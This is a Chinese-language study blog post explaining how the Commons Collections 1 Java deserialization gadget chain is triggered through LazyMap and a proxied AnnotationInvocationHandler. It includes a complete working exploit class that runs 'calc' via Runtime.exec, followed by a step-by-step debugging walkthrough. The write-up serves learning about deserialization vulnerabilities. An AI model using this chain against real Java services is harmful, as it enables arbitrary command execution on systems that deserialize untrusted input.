利用LazyMap触发利用链

前言

之前学习cc链时都是从TransformedMap触发,但是在最近的学习过程中发现在ysoserial生成CommonCollections1的payload中使用了LazyMap触发,现在来补充学习一下

LazyMap和TransformedMap的区别

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承
AbstractMapDecorator。

两者唯一的差别是:

  • TransformedMap是在写入元素的时候执行transform
  • LazyMap是在其get方法中执行的factory.transform ,在get找不到值的时候,它会调用factory.transform 方法去获取一个值

两者在利用上的区别:

  • LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到Map的get方法。而AnnotationInvocationHandler类的invoke方法有调用到get,ysoserial中利用Java的对象代理来调用invoke来完成利用

Java对象代理

之前在学习jdk7u21反序列化利用链时提到了java的动态代理。简单来说就是一个跟filter差不多的东西,在代码执行前先过一个拦截器,也就是InvocationHandler的实现类,在这个类的invoke方法里包含了我们想要执行的代码

Proxy.newProxyInstance方法会返回一个代理对象,它有三个参数:

  1. 第一个参数是ClassLoader,我们用默认的即可;
  2. 第二个参数是我们需要代理的对象集合;
  3. 第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

写个demo回顾一下,这里我们成功劫持了Map.put,让它执行了我们加入的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

class MyInvocationHandler implements InvocationHandler{
protected Map map;
public MyInvocationHandler(Map map){
this.map=map;
}
@Override
public Object invoke(Object proxy,Method method,Object[] args) throws Throwable{
if (method.getName().equals("put")){
System.out.println("Hacked");
}
return method.invoke(map,args);
}
}
public class App {
public static void main(String[] args) {

Map proxyMap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},new MyInvocationHandler(new HashMap()));
proxyMap.put("hello","world");
String result=(String)proxyMap.get("hello");
System.out.println(result);
}
}

WWTJDe.png

再回到主题,sun.reflect.annotation.AnnotationInvocationHandler这个类实际上就是一个InvocationHandler。如果我们把AnnotationInvocationHandler作为第三个参数传递给Proxy.newInstance,把AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject时,调用任意方法就会进入到AnnotationInvocationHandler#invoke 方法中,进而触发LazyMap#get

利用LazyMap构造利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);



ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

前面的跟之前一样,主要看后面的代码,有两个AnnotationInvocationHandler:

  • 第一个用于执行命令
  • 第二个用于触发invoke

1.首先把TransformedMap换成LazyMap

1
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

LazyMap的decorate

WWT1gK.png

2.利用反射获取AnnotationInvocationHandler的构造方法

1
2
3
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);

3.实例化被代理的AnnotationInvocationHandler,也就是最终用来触发transforn执行命令的

1
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

实例化了一个AnnotationInvocationHandler类,把封装好的LazyMap赋值给this.memberValues

WWTYHH.png

WWTa4I.png

4.创建用于代理的AnnotationInvocationHandler,利用AnnotationInvocationHandler#invoke触发上面的LazyMap#get

1
2
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

最后反序列化第二个AnnotationInvocationHandler

WWT08P.png

AnnotationInvocationHandler#readObject

此时的this.memberValues是proxyMap,调用proxyMap的任何方法都会进入AnnotationInvocationHandler#invoke所以相当于

1
proxyMap.memberValues.entrySet().iterator()

WWTwCt.png

AnnotationInvocationHandler#invoke

调用proxyMap的任何方法都会进入AnnotationInvocationHandler#invoke,这里的memberValues是之前的LazyMap

WWTGuD.png

LazyMap#get

执行transform,触发命令执行

WWT3jO.png

WWTBgf.png

问题

由于IDEA中Debug会利用toString,在实际执行过程中会提前弹计算器,需要把这个功能给关掉

WWTUUA.png

参考

http://wjlshare.com/archives/1502

https://reader-l.github.io/2020/10/21/java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E5%88%A9%E7%94%A8LazyMap%E6%9E%84%E9%80%A0%E5%88%A9%E7%94%A8%E9%93%BE/#3-%E5%88%A9%E7%94%A8LazyMap%E6%9E%84%E9%80%A0%E5%88%A9%E7%94%A8%E9%93%BE

Java安全漫谈 - 11.反序列化篇(5)